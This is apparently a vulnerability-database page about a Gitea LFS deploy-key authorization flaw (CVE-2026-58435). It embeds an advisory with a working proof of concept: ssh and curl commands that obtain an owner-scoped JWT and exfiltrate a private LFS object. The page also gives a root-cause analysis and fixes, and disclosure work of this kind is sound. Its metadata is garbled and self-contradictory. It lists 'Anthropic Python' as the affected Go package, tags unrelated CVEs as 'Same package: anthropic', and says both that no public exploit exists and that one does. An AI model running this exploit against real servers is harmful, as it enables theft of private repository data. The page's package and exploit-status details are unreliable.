CVE-2026-58435: Gitea: LFS deploy-key flaw leaks private repo objects
GHSA-rh79-75qm-gwjr MEDIUM PoC AVAILABLEGitea's LFS server trusts the repository owner's user ID embedded in deploy-key JWTs to make cross-repository authorization decisions, so anyone holding a write deploy key for a single victim-owned repo can silently link and exfiltrate LFS objects — including model weights, datasets or checkpoints — from any other private repo that same owner controls. With no CISA KEV listing, no EPSS score, and no public exploit or Nuclei template, active exploitation is unconfirmed and the CVSS 5.4 (medium) reflects real but bounded severity, further constrained by the need to already know a target object's SHA-256 OID. That said, Gitea is a common self-hosted backbone for ML/CI pipelines with 5,901 downstream dependents and 41 other CVEs in the package, and deploy keys are exactly the narrow-scope CI/CD credentials organizations lean on to protect proprietary training data and model artifacts stored via LFS. Patch to Gitea 1.27.0 immediately; until then, audit and rotate deploy keys with write access, and if `LFS_START_SERVER` is enabled, treat every deploy key as equivalent to full owner access and review LFS access logs for cross-repo object linking anomalies.
What is the risk?
Medium severity (CVSS 5.4) driven by low privileges required (a leaked/compromised deploy key) and no user interaction, offset by confidentiality-only impact and a real-world prerequisite: the attacker must already know the target LFS object's 256-bit OID, which is not enumerable and requires a prior information-disclosure path (stale pointer files in forks, former collaborator access, PR/issue comments). Not in CISA KEV, no EPSS percentile, no public exploit or scanner template — so this is not currently under mass exploitation, but the underlying flaw is trivially reliable once the two prerequisites (a write deploy key + a known OID) are met, and it defeats the entire purpose of deploy-key scoping. The admin amplification case (any deploy key on an admin-owned repo reaching every LFS object instance-wide) meaningfully raises the ceiling for organizations that grant admins deploy keys or use bot/service accounts with admin rights.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | go | < 1.27.0 | 1.27.0 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Patch to Gitea 1.27.0 or later, which addresses this issue. 2) If immediate patching isn't possible, treat every deploy key as equivalent in privilege to the repo owner's full account and avoid granting deploy keys to any admin-owned or highly sensitive repos. 3) Audit existing deploy keys instance-wide, rotate any with write access, and revoke unused ones. 4) Restrict or disable
LFS_START_SERVERwhere LFS is not actively needed. 5) Monitor LFS batch API logs for uploads that reference OIDs not previously pushed by the requesting repo/key (indicative of the silent cross-repo linking behavior). 6) Assume former collaborators or anyone who ever cloned a repo retains permanent knowledge of its LFS OIDs — factor this into offboarding and access-revocation processes for repos containing proprietary model or dataset files.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-58435?
Gitea's LFS server trusts the repository owner's user ID embedded in deploy-key JWTs to make cross-repository authorization decisions, so anyone holding a write deploy key for a single victim-owned repo can silently link and exfiltrate LFS objects — including model weights, datasets or checkpoints — from any other private repo that same owner controls. With no CISA KEV listing, no EPSS score, and no public exploit or Nuclei template, active exploitation is unconfirmed and the CVSS 5.4 (medium) reflects real but bounded severity, further constrained by the need to already know a target object's SHA-256 OID. That said, Gitea is a common self-hosted backbone for ML/CI pipelines with 5,901 downstream dependents and 41 other CVEs in the package, and deploy keys are exactly the narrow-scope CI/CD credentials organizations lean on to protect proprietary training data and model artifacts stored via LFS. Patch to Gitea 1.27.0 immediately; until then, audit and rotate deploy keys with write access, and if `LFS_START_SERVER` is enabled, treat every deploy key as equivalent to full owner access and review LFS access logs for cross-repo object linking anomalies.
Is CVE-2026-58435 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-58435, increasing the risk of exploitation.
How to fix CVE-2026-58435?
1) Patch to Gitea 1.27.0 or later, which addresses this issue. 2) If immediate patching isn't possible, treat every deploy key as equivalent in privilege to the repo owner's full account and avoid granting deploy keys to any admin-owned or highly sensitive repos. 3) Audit existing deploy keys instance-wide, rotate any with write access, and revoke unused ones. 4) Restrict or disable `LFS_START_SERVER` where LFS is not actively needed. 5) Monitor LFS batch API logs for uploads that reference OIDs not previously pushed by the requesting repo/key (indicative of the silent cross-repo linking behavior). 6) Assume former collaborators or anyone who ever cloned a repo retains permanent knowledge of its LFS OIDs — factor this into offboarding and access-revocation processes for repos containing proprietary model or dataset files.
What systems are affected by CVE-2026-58435?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model artifact storage, CI/CD pipelines for ML.
What is the CVSS score for CVE-2026-58435?
CVE-2026-58435 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.19%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0025 Exfiltration via Cyber Means AML.T0035 AI Artifact Collection AML.T0091.000 Application Access Token Compliance Controls Affected
What are the technical details?
Original Advisory
## Vulnerability Header | Field | Value | | ------------------- | ----------------------------------------------------------- | | Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation | | Severity Rating | High | | Bug Category | Insufficient Authorization | | Location | `services/lfs/server.go:268`, `routers/private/serv.go:275` | | Affected Versions | 1.25.5 | ## Executive Summary Gitea's LFS server (`services/lfs/server.go:268`) uses the `UserID` embedded in an LFS JWT to make cross-repository authorization decisions via `LFSObjectAccessible()`. This would be safe if the JWT `UserID` always matched the actual requesting principal — but for deploy keys, `routers/private/serv.go:275` sets `UserID = repo.OwnerID` instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH `git-lfs-authenticate` flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data. ## Root Cause Analysis ### Technical Description The vulnerability is a **trust-boundary confusion** across two independent subsystems. When a deploy key authenticates over SSH, `serv.go` sets `UserID = repo.OwnerID` because the code has no better representation for a deploy key identity (a `FIXME` comment acknowledges this). That `UserID` is baked verbatim into the LFS JWT by `cmd/serv.go`. The JWT is then consumed by `server.go`, which treats `claims.UserID` as the authenticated principal and loads that user object as `ctx.Doer`. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls `LFSObjectAccessible(ctx, ctx.Doer, oid)` — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's `RepoID` claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the `UserID` driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check. ### First Faulty Condition The primary bug — where the JWT `UserID` is set incorrectly — is in `serv.go`: | File | `routers/private/serv.go` | | --------- | ------------------------------------------------------------------------------------------------- | | Line | 275 | | Condition | Deploy key branch sets `results.UserID = repo.OwnerID`; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in `server.go:268` | ```go // routers/private/serv.go:252–278 if key.Type == asymkey_model.KeyTypeDeploy { ... // FIXME: Deploy keys aren't really the owner of the repo pushing changes // however we don't have good way of representing deploy keys in hook.go // so for now use the owner of the repository results.UserName = results.OwnerName results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key ... } ``` The secondary bug — where the tainted `UserID` is actually misused — is in `server.go`: | File | `services/lfs/server.go` | | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Line | 268 | | Condition | `LFSObjectAccessible(ctx, ctx.Doer, oid)` makes a cross-repo decision using the JWT `UserID`, which for deploy keys is the repo owner, not the deploy key holder | ```go // services/lfs/server.go:267–275 if exists && meta == nil { accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid) ... if accessible { _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo ... } } ``` **Admin amplification:** if `victim.IsAdmin`, `models/git/lfs.go:226` short-circuits with a bare `COUNT(*)` over the entire `lfs_meta_object` table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance. ## Exploitability Assessment ### Attack Vector & Reachability | Attack vector | Network | | --------------------------- | -------------------------------------------------------------------------------------------------- | | Authentication required | Low: attacker must hold a write deploy key's private key material for any of victim's repositories | | User interaction required | None | | Reachable in default config | No. Requires `LFS_START_SERVER = true` | | Entry point(s) | SSH `git-lfs-authenticate` command + HTTP LFS batch API | The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior `git pull`, and issue or pull request comments that reference pointer file contents. LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a **post-revocation persistence** primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed. ### Reproduction Steps **Environment** The issue was reproduced using `gitea/gitea:1.25.5` docker image. **Setup** (performed as victim/admin — represents normal deployment state) ```bash # 1. Victim creates a private repo and uploads an LFS object git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git cd secret-repo git lfs track "*.bin" echo "TOP SECRET: password is hunter2" > secret.bin git add .gitattributes secret.bin && git commit -m "secret" git push && git lfs push origin main # Note the OID and size from: git lfs pointer --file=secret.bin # oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b # size 32 # 2. Victim creates ci-repo and registers a write deploy key # (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access) # Attacker holds the corresponding private key (e.g. leaked from CI config) ``` **Exploit** ```bash # Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials) ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \ "git-lfs-authenticate victim/ci-repo upload" # → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."} # Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...} # ^^^^^^^^ victim's UID — BUG JWT="eyJ..." OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b" SIZE=32 # Step 2 — Confirm attacker is blocked from secret-repo directly curl -s -H "Authorization: Bearer $JWT" \ "http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID" # → {"Message":"Unauthorized"} — correctly blocked # Step 3 — Batch upload to ci-repo claiming the secret OID curl -s -X POST \ -H "Authorization: Bearer $JWT" \ -H "Accept: application/vnd.git-lfs+json" \ -H "Content-Type: application/vnd.git-lfs+json" \ "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \ -d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}" # → {"objects":[{"oid":"1d4fed...","size":32}]} — NO "actions" field # server silently linked the OID to ci-repo without demanding proof of possession # Step 4 — Download the secret via ci-repo curl -s -H "Authorization: Bearer $JWT" \ "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID" # → TOP SECRET: password is hunter2 ``` **Expected output** ``` Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repo ``` **PoC files** - [poc.sh](https://github.com/user-attachments/files/28830752/poc.sh) — end-to-end PoC using real SSH deploy key ## Recommended Fix A proper fix might require significant architecture change. A short term recommendation is presented below: **Fix 1 — `services/lfs/server.go:267` (defense in depth, immediately effective)** Remove the `LFSObjectAccessible` cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one `RepoID`; authorization decisions about *other* repos should not be made using the JWT `UserID`. ```go // BEFORE (vulnerable): if exists && meta == nil { accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid) if err != nil { log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err) writeStatus(ctx, http.StatusInternalServerError) return } if accessible { _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) if err != nil { log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err) writeStatus(ctx, http.StatusInternalServerError) return } } else { exists = false } } ``` ```go // After (safe): if exists && meta == nil { // Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes // access to this repo. Always require proof-of-possession for objects // not already linked here. exists = false } ``` The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued. Full patch: [fix1.patch](https://github.com/user-attachments/files/28830753/fix1.patch) **Fix 2 — `routers/private/serv.go:275` (fix the source)** Stop embedding `repo.OwnerID` in the JWT for deploy keys. Options: - Add a `DeployKeyID` field to the JWT `Claims` struct; teach `handleLFSToken` to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited). - Or mint a separate JWT type for deploy keys that `server.go` treats as repo-scoped only, refusing to use it for cross-repo operations. Patch provenance: AI-generated + Human-reviewed ## Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research. For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.
Exploitation Scenario
An ML engineering team hosts a private repo with proprietary fine-tuned model weights tracked via Git LFS, alongside a separate, lower-sensitivity CI/CD repo that uses a write deploy key (leaked via a misconfigured pipeline log or a compromised build agent) for the same account owner. The attacker uses the leaked deploy key over SSH to run `git-lfs-authenticate`, obtaining a legitimate, server-signed JWT whose embedded UserID is the account owner rather than the deploy key itself. Having previously seen the model weight's OID (e.g., from a stale pointer file in an old fork or a former teammate's local clone), the attacker submits it to the LFS batch upload endpoint of the low-sensitivity repo they control; Gitea's cross-repo accessibility check silently links the object using the impersonated owner identity, requiring no proof of possession. The attacker then downloads the proprietary model weights from the repo they control — exfiltrating IP without ever touching the original repo's access controls, and can repeat this indefinitely as a persistence mechanism even after their original CI access is revoked.
Weaknesses (CWE)
CWE-266 Incorrect Privilege Assignment
Primary
CWE-639 Authorization Bypass Through User-Controlled Key
Primary
CWE-266 Incorrect Privilege Assignment CWE-639 Authorization Bypass Through User-Controlled Key CWE-266 — Incorrect Privilege Assignment: A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
- [Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- [Architecture and Design, Operation] Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2026-27775 8.8 Gitea: cached permission check allows repo takeover
Same package: anthropic CVE-2026-54449 8.8 LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropic CVE-2026-7574 8.7 Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic CVE-2026-55429 8.7 Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropic CVE-2026-67428 8.5 Flyto2 Core: SSRF via unvalidated URLs in agent tools
Same package: anthropic